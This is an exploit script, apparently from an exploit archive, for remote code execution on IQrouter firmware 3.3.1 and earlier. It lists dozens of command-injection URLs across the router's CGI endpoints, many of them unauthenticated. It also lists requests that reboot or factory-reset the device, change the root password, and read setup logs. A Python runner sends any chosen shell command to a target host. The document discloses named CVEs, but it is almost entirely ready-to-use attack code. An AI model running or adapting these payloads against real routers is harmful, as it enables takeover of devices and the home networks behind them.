IQrouter firmware version 3.3.1 suffers from a remote code execution vulnerability.
fc1a4eea527ae74190c43ec6d9d9985f# Exploit Title: IQrouter 3.3.1 Firmware - Remote Code Execution
# Date: 2020-04-21
# Exploit Author: drakylar
# Vendor Homepage: https://evenroute.com/
# Software Link: https://evenroute.com/iqrouter
# Version: IQrouter firmware up to 3.3.1
# Tested on: IQrouter firmware 3.3.1
# CVE : N/A
#!/usr/bin/env python3
import argparse
from sys import argv, exit
try:
import requests
except ImportError:
print("Install requests lib! pip3 install requests")
print("""
#######################################################################
# IQrouter multiple RCE and other vulnerabilities #
# by drakylar (Shaposhnikov Ilya) #
# CVE-2020-11963 CVE-2020-11964 CVE-2020-11966 #
# CVE-2020-11967 CVE-2020-11968 #
#######################################################################
""")
rce_setup = [
[
"/cgi-bin/luci/er/vlanTag?vlan_tag='`{}`'",
"RCE /vlanTag (vlan_tag param)"
],
[
"/cgi-bin/luci/er/verify_wifi?wifi_conflict='`{}`'",
"RCE /verify_wifi (wifi_conflict param). Need hide_wifi_config != true"
],
[
"/cgi-bin/luci/er/screen9?save_creds=1&s1&s2='`{}`'&p1&p2",
"RCE /screen9 (s2 param)"
],
[
"/cgi-bin/luci/er/screen9?save_creds=1&s1='`{}`'&s2&p1&p2",
"RCE /screen9 (s1 param)"
],
[
"/cgi-bin/luci/er/screen9?save_creds=1&s1&s2&p1&p2='`{}`'",
"RCE /screen9 (p2 param)"
],
[
"/cgi-bin/luci/er/screen9?save_creds=1&s1&s2&p1='`{}`'&p2",
"RCE /screen9 (p1 param)"
],
[
"/cgi-bin/luci/er/screen4?save_isp='`{}`",
"RCE /screen4 (save_isp param)"
],
[
"/cgi-bin/luci/er/screen2?set_wan_modem_interfaces='`{}`'",
"RCE /screen2 set_wan_modem_interfaces param)"
],
[
"/cgi-bin/luci/er/screen2?find_ip_address_conflict='`{}`'",
"RCE /screen2 find_ip_address_conflict param)"
],
[
"/cgi-bin/luci/er/screen10?set_security_question='`{}`'",
"RCE /screen10 (set_security_question param)"
],
[
"/cgi-bin/luci/er/screen10?set_security_answer='`{}`'&set_security_question=1",
"RCE /screen10 (set_security_answer param)"],
[
"/cgi-bin/luci/er/screen1?zonename='`{}`'",
"RCE /screen1 (zonename param)"
],
[
"/cgi-bin/luci/er/register?email=`{}`",
"RCE /register (email param, result in /cgi-bin/luci/er/get_syslog for result)"
]
]
rce_any = [
[
"/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=1&s2='`{}`'&p1=1&p2=1",
"RCE /wifi (s2 param)"
],
[
"/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1='`{}`'&s2=5&p1=6&p2=7",
"RCE /wifi (s1 param)"
],
[
"/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=1&s2=2&p1=3&p2='`{}`'",
"RCE /wifi (p2 param)"
],
[
"/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=1&s2=2&p1='`{}`'&p2=4",
"RCE /wifi (p1 param)"
],
[
"/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=`{}`&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=4&s2=5&p1=6&p2=7",
"RCE /wifi (guestwifi_5g_ssid param)"
],
[
"/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=`{}`&guestwifi_5g_ssid=3&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=4&s2=5&p1=6&p2=7",
"RCE /wifi (guestwifi_2g_ssid param)"
],
[
"/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key='`{}`'&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=2&guestwifi_5g_ssid=3&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=4&s2=5&p1=6&p2=7",
"RCE /wifi (guest_key param)"
],
[
"/cgi-bin/luci/er/wifi?enable_guestwifi='`{}`'&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=5&s2=6&p1=6&p2=7",
"RCE /wifi (enable_guestwifi param)"
],
[
"/cgi-bin/luci/er/screen11.1?email=`{}`®ister=123&uilog=123&bg=123",
"RCE /screen11.1 (email param)"
],
[
"/cgi-bin/luci/er/reboot_link?link='`{}`'",
"RCE /reboot_link (link param)"
],
[
"/cgi-bin/luci/er/diag_wifi/1/2/3/4/5/'`{}`'/",
"RCE /diag_wifi (htm5ghz param)"
],
[
"/cgi-bin/luci/er/diag_wifi/1/2/3/4/'`{}`'/6/",
"RCE /diag_wifi (htm2ghz param)"
],
[
"/cgi-bin/luci/er/diag_wifi/1/2/3/'`{}`'/5/6/",
"RCE /diag_wifi (c5ghz param)"
],
[
"/cgi-bin/luci/er/diag_wifi/1/2/'`{}`'/4/5/6/",
"RCE /diag_wifi (c2ghz param)"
],
[
"/cgi-bin/luci/er/diag_set_static_wan/'`{}`'/2/3/4/",
"RCE /diag_set_static_wan (static_ip param)"
],
[
"/cgi-bin/luci/er/diag_set_static_wan/1/'`{}`'/3/4/",
"RCE /diag_set_static_wan (net_mask param)"
],
[
"/cgi-bin/luci/er/diag_set_static_wan/1/2/'`{}`'/4/",
"RCE /diag_set_static_wan (gateway param)"
],
[
"/cgi-bin/luci/er/diag_set_static_wan/1/2/3/'`{}`'/",
"RCE /diag_set_static_wan (dns param)"
],
[
"/cgi-bin/luci/er/diag_set_static_modem/'`{}`'/2/3/",
"RCE /diag_set_static_modem (static_ip param)"
],
[
"/cgi-bin/luci/er/diag_set_static_modem/1/'`{}`'/3/",
"RCE /diag_set_static_modem (net_mask param)"
],
[
"/cgi-bin/luci/er/diag_set_static_modem/1/2/'`{}`'/",
"RCE /diag_set_static_modem (gateway param)"
],
[
"/cgi-bin/luci/er/diag_set_device_name_and_sync/'`{}`'/",
"RCE /diag_set_device_name_and_sync (device_name param)"
],
[
"/cgi-bin/luci/er/diag_set_device_name/'`{}`'/",
"RCE /diag_set_device_name (device_name param)"
],
[
"/cgi-bin/luci/er/diag_pppoe_update/'`{}`'/passs/",
"RCE /diag_pppoe_update (wan_username param)"
],
[
"/cgi-bin/luci/er/diag_pppoe_update/aaadmin/'`{}`'/",
"RCE /diag_pppoe_update (wan_password param)"
],
[
"/cgi-bin/luci/er/diag_pppoe/'`{}`'/passsswd/",
"RCE /diag_pppoe (wan_username param)"
],
[
"/cgi-bin/luci/er/diag_pppoe/aaadmin/'`{}`'/",
"RCE /diag_pppoe (wan_password param)"
],
[
"/cgi-bin/luci/er/diag_pppoa_update/'`{}`'/paaaasword/",
"RCE /diag_pppoa_update (wan_username param)"
],
[
"/cgi-bin/luci/er/diag_pppoa_update/aaadmin/'`{}`'/",
"RCE /diag_pppoa_update (wan_password param)"
],
[
"/cgi-bin/luci/er/diag_pppoa/'`{}`'/passs/",
"RCE /diag_pppoa (wan_username param)"
],
[
"/cgi-bin/luci/er/diag_pppoa/aaadmin/'`{}`'/",
"RCE /diag_pppoa (wan_password param)"
],
[
"/cgi-bin/luci/er/advanced_link?link='`{}`'",
"RCE /advanced_link (link param)"
]
]
advanced_payloads = [
[
"/cgi-bin/luci/er/reboot_link?reboot=1",
"Reboot IQrouter (/reboot_link reboot param))"
],
[
"/cgi-bin/luci/er/screen2?reboot=1",
"Reboot IQrouter (/screen2 reboot param))"
],
[
"/cgi-bin/luci/er/index?reset_config=1",
"Reset IQrouter (/index reset_config param)"
],
[
"/cgi-bin/luci/er/screen7?upgrade=1",
"Upgrade IQrouter (/screen7 upgrade param)"
],
[
"/cgi-bin/luci/er/vlanTag?restart_network=1",
"Restart network (/vlanTag restart_network param)"
],
[
"/cgi-bin/luci/er/diag_iperf_cmd/start",
"Start iperf script (/diag_iperf_cmd/start)"
],
[
"/cgi-bin/luci/er/diag_iperf_cmd/stop",
"Stop iperf script (/diag_iperf_cmd/stop)"
],
[
"/cgi-bin/luci/er/get_syslog",
"Router setup info log (/get_syslog)"
],
[
"/cgi-bin/luci/er/diag_set_password/c00lpasswd/",
"Change root password to c00lpasswd (can change in code)"
],
[
"/cgi-bin/luci/er/reset_password/",
"Change root password to 'changeme' (static)"
]
]
def print_payloads():
print('#' * 30)
print("Payloads list")
num = 1
print('######################### RCE without auth ########################')
for payload in rce_any:
print("{} - {}".format(num, payload[1]))
num += 1
print(
'############### RCE (router need to be in setup mode) ###############')
for payload in rce_setup:
print("{} - {}".format(num, payload[1]))
num += 1
print(
'######################### Advanced payloads #########################')
for payload in advanced_payloads:
print("{} - {}".format(num, payload[1]))
num += 1
parser = argparse.ArgumentParser(description="IQrouter multiple RCE")
parser.add_argument('--host', help='Host', type=str)
parser.add_argument('-p', '--port', help='Web port (default: 80)', default=80, type=int)
parser.add_argument('-n', '--num', help='Payload number',
default=0, type=int)
parser.add_argument('-c', '--cmd', help='Command to execute (default: pwd)',
default="pwd", type=str)
parser.add_argument('--protocol', help='Protocol (http/https)',
default="http", type=str)
args = parser.parse_args()
def main():
print("")
full_payload_list = rce_setup + rce_any + advanced_payloads
payloads_amount = len(full_payload_list)
try:
hostname = args.host
port = args.port
payload_num = int(args.num)
bash_cmd = args.cmd
protocol = args.protocol
if payload_num < 1 or payload_num > payloads_amount:
print("Error with payload number!")
raise IndexError
if port < 0 or port > 65535:
print("Error with port number")
raise IndexError
if protocol not in ['http', 'https']:
print("Error with protocol name")
raise IndexError
current_payload = full_payload_list[payload_num - 1]
print("Payload: {}".format(current_payload[1]))
print("Host: {}".format(hostname))
print("Port: {}".format(port))
print("Protocol: {}".format(protocol))
print("Command: {}".format(bash_cmd))
full_url = "{}://{}:{}{}".format(protocol, hostname, port,
current_payload[0].format(bash_cmd))
print("Built URL: {}".format(full_url))
r = requests.get(full_url)
print("Status code: {}".format(r.status_code))
return
except IndexError:
parser.print_help()
print_payloads()
exit(1)
if __name__ == '__main__':
print(
"\n\nWarning: use TABS(doesn't work in some payloads) or ${IFS} for space.")
exit(main())